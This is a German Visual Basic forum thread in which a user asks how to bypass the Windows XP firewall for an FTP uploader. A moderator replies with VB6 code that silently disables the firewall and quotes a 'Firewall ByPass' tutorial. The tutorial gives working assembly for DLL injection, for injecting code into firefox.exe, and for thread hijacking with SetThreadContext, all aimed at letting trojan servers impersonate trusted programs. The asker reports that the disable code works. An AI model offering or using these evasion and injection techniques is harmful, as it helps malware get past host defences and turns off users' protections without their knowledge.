Visual Basic Forum

Visual Basic Forum
für VB6 und VB.NET Programmierer
 
RegistrierenRegistrieren  LoginLogin

Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten
Autor
Nachricht
regenz11_
Coder
Coder



Anmeldedatum: 29.07.2007
Beiträge: 77

Windows XP Firewall umgehen
Verfasst am: 13.03.2008, 10:34

Hallo Jungs !
Ich hätte eine Frage an euch: Wie kann ich die Windows XP Firewall in gewisser Weise umgehen?
Denn ich habe das Problem, das bei meinem Programm, dass etwas auf einen FTP Server lädt, immer vor dem Upload die Meldung der Windows Firewall kommt mit "Blokieren" "Zulassen" usw. kommt.
Ich hoffe ihr wisst da weiter Shocked
_________________
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 28.11.2007
Beiträge: 425


Verfasst am: 13.03.2008, 12:48

Firewall Bypass (FWB) bzw. einfach ausschalten.

Ausschalten:

Code:
Dim XPFirewall As Object
Dim XPFirewallpolicy As Object
Set XPFirewall = CreateObject("HNetCfg.FwMgr")
Set XPFirewallpolicy = XPFirewall.LocalPolicy.CurrentProfile
XPFirewallpolicy.FirewallEnabled = False

FWB (du wirst es nicht komplett in VB machen können):

rockZ hat Folgendes geschrieben:
[size=200]Firewall ByPass - Wie funktioniert das?[/size]
Hintergedanken und Methoden im Laufe der Zeit

Alles fing damit an, dass der Wunsch entstand, Firewalls umgehen zu können. Also setzten sich diverse Programmierer daran, eine Methode zu entwickeln, wie man an Firewalls vorbeikommt. Schon schnell kam man auf die Idee, man könne ja einfach so tun, als sein man ein Vertrautes Programm. Anfängliche Versuche, einfach die Datei zu ersetzen und danach die Originaldatei zu starten (Server kopiert firefox.exe zu firefox1.exe, kopiert sich zu firefox.exe und startet nach dem Aufruf firefox1.exe), wurden schnell durch CRC32-Checks der Dateien zerstört. Also musste eine andere Methode her, die den CRC32-Check von firefox.exe gleich aussehen ließ und trotzdem uns selbst in firefox.exe verschaffte. Dadurch entstand die erste Serienreife Methode, die DLL-Injection. Sie funktionierte ganz einfach - der "richtige" Server war eine DLL und wurde über LoadLibrary aus firefox.exe aufgerufen. Ein Beispielcode dafür (ASM):
Code:
; #########################################################################

      .386
      .model flat, stdcall
      option casemap :none   ; case sensitive
; #########################################################################
   
   include \masm32\include\windows.inc
   include \masm32\include\kernel32.inc
   include \masm32\include\user32.inc
   
   includelib \masm32\lib\kernel32.lib
   includelib \masm32\lib\user32.lib
   
; #########################################################################

.data
   szTarget      db "Notepad", 0
   szLoadLibrary   db "LoadLibraryA", 0
   szKernel32      db "kernel32", 0
   szMyDLL         db "C:\MyDLL.DLL", 0
   
.data?
   hProcess      dd ?
   DLLAddress      dd ?
   dwPID         dd ?
   
.code

start:
   invoke    FindWindow, addr szTarget, 0 ; Unser Fenster finden
   invoke    GetWindowThreadProcessId, eax, addr dwPID ; Die ProcessID herausfinden
   invoke    OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwPID ; Den Prozess mit vollem Zugriff öffnen
   mov    hProcess, eax
   
   invoke    VirtualAllocEx, hProcess, 0, sizeof szDll, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE ; den DLL-Namen ohne genaue zielangabe "irgendwo" in Notepad hereinschreiben
   
   mov    DLLAddress, eax ; die addresse, die VirtualAllocEx schließlich für unseren DLL-Namen ausgewählt hat, gibt die Funktion in eax zurück.
   
   invoke    WriteProcessMemory, hProcess, hModule, addr szDll, sizeof szDll, addr dwBytesWritten ; den DLL Namen schreiben
   
   invoke    GetModuleHandle, addr szKernel32 ; die Addresse von LoadLibraryA herausfinden
   invoke    GetProcAddress, eax, addr szLoadLibrary
   
   invoke    CreateRemoteThread, hProcess, 0, 0, eax, DLLAddress, 0, 0 ; eax = AddressOf LoadLibraryA
   invoke    ExitProcess, 0
end start

(Danke an dieser Stelle an trojanfrance.com für ihr DLL-Injection Beispiel (leicht modifiziert hier)!)

Jedoch blockten Firewalls es schnell, dass über CreateRemoteThread LoadLibraryA aufgerufen wird.
Also haben unsere Programmierer noch etwas mehr nachgedacht und kamen zum nächsten Quantensprung im Firewall-Bypassing, FWB+.
Im Grunde genommen war FWB+ sehr viel einfacher als die alte DLL-Injection, und sie brauchte keine DLL mehr.
Code:

; #########################################################################

      .386
      .model flat, stdcall
      option casemap :none   ; case sensitive

; #########################################################################

      include \masm32\include\windows.inc
      
      include \masm32\include\kernel32.inc
      include \masm32\include\user32.inc
      
      includelib \masm32\lib\kernel32.lib
      includelib \masm32\lib\user32.lib
       
; #########################################################################

.data
szApp         byte "C:\Programme\Mozilla Firefox\firefox.exe",0
szMsg         byte "Ich bin in Firefox.exe!", 0
szCapt         byte "Caption", 0

; #########################################################################

.data?
SInfo               STARTUPINFO <>
PInfo               PROCESS_INFORMATION <>
hModule          dword ?
dwSize             dword ?

; #########################################################################

.code
HijackedThread proc
   invoke    MessageBox, 0, addr szMsg, addr szCapt, 0
   invoke    ExitProcess, 0
HijackedThread endp

; #########################################################################

start:
   invoke      GetModuleHandleA, 0 ; unsere ImageBase herausfinden
   mov         hModule, eax
        ; in den nächsten Zeilen extrahiere ich aus dem ebenfalls im Speicher geladenen PE-Header die größe unseres Speicherabbildes. Eigentlich könnte ich mir dieses gehabe auch Sparen, indem ich einfach vor dem Final Release mit einem PE-Tool auslese, wie groß SizeOfImage ist, aber so ist es dynamischer.
   mov       edi, eax
   assume       edi:ptr IMAGE_DOS_HEADER
   add       edi, [edi].e_lfanew
   add       edi, sizeof dword
   add       edi, sizeof IMAGE_FILE_HEADER
   assume       edi:ptr IMAGE_OPTIONAL_HEADER32
   mov       eax, [edi].SizeOfImage
   mov       dwSize, eax
   assume       edi:NOTHING
   
        ; Gut, wir haben unsere Codegröße. Nun erstellen wir uns einen neuen Prozess von firefox.
   invoke CreateProcess,0,addr szApp,0,0,FALSE,CREATE_SUSPENDED,0,0,addr SInfo,addr PInfo
        ; alloziieren *codegröße* viel Speicher an unserer ImageBase.
   invoke VirtualAllocEx, PInfo.hProcess, hModule, dwSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE
        ; schreiben unseren gesamten Code herein
   invoke WriteProcessMemory, PInfo.hProcess, eax, hModule, dwSize, NULL
        ; und erstellen einen neuen Thread and der Position unserer Remote Funktion.
   invoke CreateRemoteThread, PInfo.hProcess, 0, 0, addr HijackedThread, 0, 0, NULL
   
   invoke ExitProcess, 0
end start


Schnell widerrum sperrten Firewalls CreateRemoteThread und WriteProcessMemory vollständig, beziehungsweise legten Filter darauf.
Gegen WriteProcessMemory gibt es zwar inzwischen Alternativen, allerdings sind diese oft sehr kompliziert (siehe: GhostWriting @ rootkit.com). Eine simple Alternative ist es, ZwWriteVirtualMemory zum schreiben zu verwenden, da viele Firewalls nur WriteProcessMemory hooken und nicht die zugrundeliegende ZwWriteVirtualMemory-Funktion. Für CreateRemoteThread wurde schnell ersatz gefunden: SetThreadContext.
Damit wird kein neuer Thread erstellt, sondern der "Original-Thread" nur weitergeleitet.

Das Beispiel dafür sieht genau gleich aus wie das vorhergehende, nur müssen wir in der .data Section folgendes hinzufügen:

Code:
RemContext CONTEXT <>

Und der CreateRemoteThread-Aufruf muss ersetzt werden mit:
Code:
mov RemContext.ContextFlags, CONTEXT_FULL
push offset RemContext
push PInfo.hThread
call GetThreadContext ; wir laden den Kontext den der Thread zur Zeit hat

mov RemContext.regEIP, offset HijackedThread ; ersetzen EIP - den Extended Instruction Pointer = der Zeiger auf den Befehl, der als nächstes ausgeführt werden soll.

push offset RemContext
push PInfo.hThread
call SetThreadContext ; wir setzen den Kontext neu

push PInfo.hThread
call ResumeThread ; wir setzten unseren Prozess fort (wurde ja CREATE_SUSPENDED gestartet!)
; Fertig!


Jedoch auch SetThreadContext wurde bald gehookt. Weil langsam die Mittel ausgingen, ging man dazu über, Userland-Unhooking-Tools (ring3) und Kernel-Unhooking-Tools (ring0) zu schreiben. Diese Sources wären jedoch etwas zu groß für dieses Tutorial, und deshalb schließe ich hiermit.

Ich hoffe, es hat gefallen!

Tutorial (C) by rockZ

c0re
_________________
 
Psycho22_
Newbie
Newbie

Anmeldedatum: 25.03.2007
Beiträge: 15


Verfasst am: 13.03.2008, 12:54

Danke für die mühe ist ech gut.
_________________
 
c0re_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 28.11.2007
Beiträge: 425


Verfasst am: 13.03.2008, 13:02

Aber nicht von mir. :p
_________________
 
Psycho22_
Newbie
Newbie

Anmeldedatum: 25.03.2007
Beiträge: 15


Verfasst am: 13.03.2008, 13:07

Das ist ja eig egal.Hast es aber gesucht Smile
 
regenz11_
Coder
Coder



Anmeldedatum: 29.07.2007
Beiträge: 77


Verfasst am: 14.03.2008, 11:35

Danke c0re !

Dieser Code:
Code:
Dim XPFirewall As Object
Dim XPFirewallpolicy As Object
Set XPFirewall = CreateObject("HNetCfg.FwMgr")
Set XPFirewallpolicy = XPFirewall.LocalPolicy.CurrentProfile
XPFirewallpolicy.FirewallEnabled = False


reicht ja schon !
thx klappt wunderbar !
_________________
 
Bahamut_
« Moderator »<b><font color=green>« Moderator »</font



Anmeldedatum: 12.12.2006
Beiträge: 250


Verfasst am: 14.03.2008, 16:54


Ich find den Assemblercode viel interessanter - auch wenn ich damit (noch) nix anfangen kann Mr. Green
_________________
VB.Net-Compiler: http://www.microsoft.com/germany/express/download/default.aspx
VB.Net-eBook: http://www.galileocomputing.de/openbook/visual_basic/
 
Neues Thema eröffnen   Neue Antwort erstellen    Visual Basic Forum Foren-Übersicht -> [VB6] Fragen - Antworten

Tags: windows firewall, umgehen

 
 Verwandte Themen   Aufrufe   Letzter Beitrag 
Keine neuen Beiträge Wie kann ich mich bei euch anmelden?? 796 20.05.2002, 00:28
Keine neuen Beiträge Eine kleine Frage an euch.. 906 30.09.2007, 08:57
Keine neuen Beiträge FTP upload 1029 22.07.2007, 15:01
Keine neuen Beiträge FTP Upload ! :D 869 08.07.2007, 09:38
Keine neuen Beiträge 2Tools Torrent/warez searchtool/Google ftp/unzensirte-bilder 755 11.03.2007, 17:54
 



[ Time: 0.2974s ][ Queries: 105 (0.0311s) ][ GZIP on - Debug on ]